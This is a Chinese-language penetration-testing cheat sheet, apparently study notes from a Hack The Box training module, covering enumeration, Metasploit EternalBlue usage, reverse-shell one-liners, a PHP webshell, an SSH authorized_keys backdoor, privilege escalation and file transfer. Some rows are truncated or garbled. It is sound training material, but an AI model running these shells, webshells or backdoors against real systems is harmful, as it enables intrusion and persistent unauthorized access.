工具
备忘录
基本工具
命令 | 描述 |
---|---|
常规 | |
sudo openvpn user.ovpn |
连接到虚拟专用网络 |
ifconfig /ip a |
显示我们的 IP 地址 |
netstat -rn |
显示可通过 VPN 访问的网络 |
ssh user@10.10.10.10 |
通过 SSH 连接到远程服务器 |
ftp 10.129.42.253 |
FTP 到远程服务器 |
鞘鞘 | |
tmux |
启动 tmux |
ctrl+b |
TMUX:默认前缀 |
prefix c |
TMUX:新窗口 |
prefix 1 |
TMUX:切换到窗口 (1 ) |
prefix shift+% |
TMUX:垂直拆分窗格 |
prefix shift+" |
TMUX:水平拆分窗格 |
prefix -> |
TMUX:切换到右窗格 |
维姆 | |
vim file |
VIM:使用 VIM 打开file |
esc+i |
VIM:进入模式insert |
esc |
VIM:返回模式normal |
x |
vim:剪切字符 |
dw |
vim:剪切词 |
dd |
vim:切割整条线 |
yw |
vim:复制单词 |
yy |
vim:复制整行 |
p |
vim:粘贴 |
:1 |
vim:转到第 1 行。 |
:w |
vim:写入文件“即保存” |
:q |
vim:退出 |
:q! |
vim:退出而不保存 |
:wq |
vim:写和退出 |
渗透测试
命令 | 描述 |
---|---|
服务扫描 | |
nmap 10.129.42.253 |
在 IP 上运行 nmap |
nmap -sV -sC -p- 10.129.42.253 |
在 IP 上运行 nmap 脚本扫描 |
locate scripts/citrix |
列出各种可用的 nmap 脚本 |
nmap --script smb-os-discovery.nse -p445 10.10.10.40 |
在 IP 上运行 nmap 脚本 |
netcat 10.10.10.10 22 |
抓取开放端口的横幅 |
smbclient -N -L \\\\10.129.42.253 |
列出中小企业共享 |
smbclient \\\\10.129.42.253\\users |
连接到 SMB 共享 |
snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0 |
扫描 IP 上的 SNMP |
onesixtyone -c dict.txt 10.129.42.254 |
暴力破解 SNMP 机密字符串 |
网络枚举 | |
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt |
在网站上运行目录扫描 |
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt |
在网站上运行子域扫描 |
curl -IL https://www.inlanefreight.com |
抓取网站横幅 |
whatweb 10.10.10.121 |
列出有关 Web 服务器/证书的详细信息 |
curl 10.10.10.121/robots.txt |
列出潜在目录robots.txt |
ctrl+U |
查看页面源代码(在火狐中) |
公共漏洞利用 | |
searchsploit openssh 7.2 |
搜索 Web 应用程序的公共漏洞 |
msfconsole |
MSF:启动 Metasploit 框架 |
search exploit eternalblue |
MSF:在 MSF 中搜索公共漏洞 |
use exploit/windows/smb/ms17_010_psexec |
MSF:开始使用 MSF 模块 |
show options |
MSF:显示 MSF 模块所需的选项 |
set RHOSTS 10.10.10.40 |
MSF:设置 MSF 模块选项的值 |
check |
MSF:测试目标服务器是否易受攻击 |
exploit |
MSF:在目标服务器上运行漏洞易受攻击 |
使用外壳 | |
nc -lvnp 1234 |
在本地端口上启动侦听器nc |
bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1' |
从远程服务器发送反向外壳 |
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 |
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 |
nc 10.10.10.1 1234 |
连接到远程服务器上启动的绑定外壳 |
python -c 'import pty; pty.spawn("/bin/bash")' |
升级外壳 TTY (1) |
ctrl+z 然后然后是两次stty raw -echo``fg``enter |
升级外壳 TTY (2) |
echo "<?php system(\$_GET['cmd']);?>" > /var/www/html/shell.php |
创建一个 webshell php 文件 |
curl http://SERVER_IP:PORT/shell.php?cmd=id |
在上传的 Web 外壳上执行命令 |
权限提升 | |
./linpeas.sh |
运行脚本以枚举远程服务器linpeas |
sudo -l |
列出可用权限sudo |
sudo -u user /bin/echo Hello World! |
运行命令sudo |
sudo su - |
切换到根用户(如果我们有权访问sudo su ) |
sudo su user - |
切换到用户(如果我们有权访问sudo su ) |
ssh-keygen -f key |
创建新的 SSH 密钥 |
echo "ssh-rsa AAAAB...SNIP...M= user@parrot" >> /root/.ssh/authorized_keys |
将生成的公钥添加到用户 |
ssh root@10.10.10.10 -i key |
使用生成的私钥通过 SSH 连接到服务器 |
传输文件 | |
python3 -m http.server 8000 |
启动本地网络服务器 |
wget http://10.10.14.1:8000/linpeas.sh |
从我们的本地计算机下载远程服务器上的文件 |
curl http://10.10.14.1:8000/linenum.sh -o linenum.sh |
从我们的本地计算机下载远程服务器上的文件 |
scp linenum.sh user@remotehost:/tmp/linenum.sh |
使用(需要 SSH 访问)将文件传输到远程服务器scp |
base64 shell -w 0 |
将文件转换为base64 |
`echo f0VMR…SNIO…InmDwU | base64 -d > shell` |
md5sum shell |
检查文件以确保其转换正确md5sum |
网络枚举:gobuster
发现 Web 应用程序后,始终值得检查一下我们是否可以在 Web 服务器上发现任何不用于公共访问的隐藏文件或目录。我们可以使用ffuf或GoBuster之类的工具来执行此目录枚举。有时我们会发现隐藏的功能或页面/目录暴露敏感数据,可以利用这些数据访问 Web 应用程序,甚至在 Web 服务器本身上远程执行代码。
GoBuster是一个多功能工具,允许执行DNS,vhost和目录暴力强制。该工具具有其他功能,例如枚举公有 AWS S3 存储桶。出于本模块的目的,我们对使用 switch 指定的目录(和文件)暴力破解模式感兴趣。让我们使用单词列表运行一个简单的扫描。dir``dirb``common.txt
目录/文件枚举
Tanin@htb[/htb]$ gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.121/
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/12/11 21:47:25 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/index.php (Status: 200)
/server-status (Status: 403)
/wordpress (Status: 301)
===============================================================
2020/12/11 21:47:46 Finished
===============================================================
DNS 子域枚举
子域上还可能托管基本资源,例如管理面板或具有可被利用的附加功能的应用程序。我们可以使用标志来枚举给定域的可用子域来指定 DNS 模式。首先,让我们克隆 SecLists GitHub 存储库,其中包含许多用于模糊测试和利用的有用列表:GoBuster``dns
安装安全列表
安装安全列表
Tanin@htb[/htb]$ git clone https://github.com/danielmiessler/SecLists
安装安全列表
Tanin@htb[/htb]$ sudo apt install seclists -y
接下来,将 DNS 服务器(如 1.1.1.1)添加到文件中。我们将针对域名,虚构的货运和物流公司的网站。/etc/resolv.conf``inlanefreight.com
安装安全列表
Tanin@htb[/htb]$ gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Domain: inlanefreight.com
[+] Threads: 10
[+] Timeout: 1s
[+] Wordlist: /usr/share/SecLists/Discovery/DNS/namelist.txt
===============================================================
2020/12/17 23:08:55 Starting gobuster
===============================================================
Found: blog.inlanefreight.com
Found: customer.inlanefreight.com
Found: my.inlanefreight.com
Found: ns1.inlanefreight.com
Found: ns2.inlanefreight.com
Found: ns3.inlanefreight.com
===============================================================
2020/12/17 23:10:34 Finished
===============================================================
这次扫描揭示了几个有趣的子域,我们可以进一步检查。使用 Ffuf 攻击 Web 应用程序模块详细介绍了 Web 枚举和模糊测试。
Whatweb
我们可以使用 命令行工具 .这些信息可以帮助我们查明正在使用的技术并开始搜索潜在的漏洞。whatweb
Tanin@htb[/htb]$ whatweb 10.10.10.121
http://10.10.10.121 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[license@php.net], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.121], Title[PHP 7.4.3 - phpinfo()]
Whatweb
是一个方便的工具,包含许多功能来自动执行网络上的 Web 应用程序枚举。
Tanin@htb[/htb]$ whatweb --no-errors 10.10.10.0/24
http://10.10.10.11 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.1], IP[10.10.10.11], PoweredBy[Red,nginx], Title[Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux], nginx[1.14.1]
http://10.10.10.100 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.100], Title[File Sharing Service]
http://10.10.10.121 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[license@php.net], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.121], Title[PHP 7.4.3 - phpinfo()]
http://10.10.10.247 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[contact@cross-fit.htb], Frame, HTML5, HTTPServer[OpenBSD httpd], IP[10.10.10.247], JQuery[3.3.1], PHP[7.4.12], Script, Title[Fine Wines], X-Powered-By[PHP/7.4.12], X-UA-Compatible[ie=edge]
查找公共漏洞
许多工具可以帮助我们搜索在枚举阶段可能遇到的各种应用程序和服务的公共漏洞。一种方法是谷歌应用程序名称,看看我们是否得到任何结果:exploit
为此目的的一个众所周知的工具是 ,我们可以用来搜索任何应用程序的公共漏洞/漏洞。我们可以用以下命令安装它:searchsploit
Tanin@htb[/htb]$ sudo apt install exploitdb -y
Tanin@htb[/htb]$ searchsploit openssh 7.2
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/45210.py
OpenSSH 7.2 - Denial of Service | linux/dos/40888.py
OpenSSH 7.2p1 - (Authenticated) xauth Command Injection | multiple/remote/39569.py
OpenSSH 7.2p2 - Username Enumeration | linux/remote/40136.py
OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain Sockets Privilege Escalation | linux/local/40962.txt
OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading | linux/remote/40963.txt
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
OpenSSHd 7.2p2 - Username Enumeration | linux/remote/40113.txt
----------------------------------------------------------------------------------------------------------------------------- ---------------------------------
权限提升:LinEnum
HASH:
- hashcat
- CeWL
&&
&
;
:
这些符号在命令行中具有不同的作用:
&&
:逻辑与运算符。在命令之间使用&&
可以实现条件执行,即只有前一个命令成功执行(返回状态码为 0),才会执行后续的命令。例如:command1 && command2
如果
command1
成功执行,则会执行command2
。如果command1
执行失败(返回状态码非零),则command2
将不会执行。&
:后台运行。在命令的末尾使用&
可以将命令置于后台运行,即命令在后台继续执行,而不会阻塞终端。例如:command &
使用
&
启动的命令将在后台运行,同时你可以继续在终端中输入其他命令。可以使用jobs
命令查看后台运行的任务,并使用fg
或bg
命令将任务切换到前台或后台。;
:命令分隔符。在命令之间使用;
可以将多个命令依次执行,不管前一个命令是否成功执行。例如:command1 ; command2 ; command3
每个命令将按顺序执行,不管前一个命令是否成功。无论前一个命令的返回状态码是什么,都会继续执行下一个命令。
这些符号在命令行中有不同的作用,你可以根据需要选择适当的符号来控制命令的执行顺序和方式。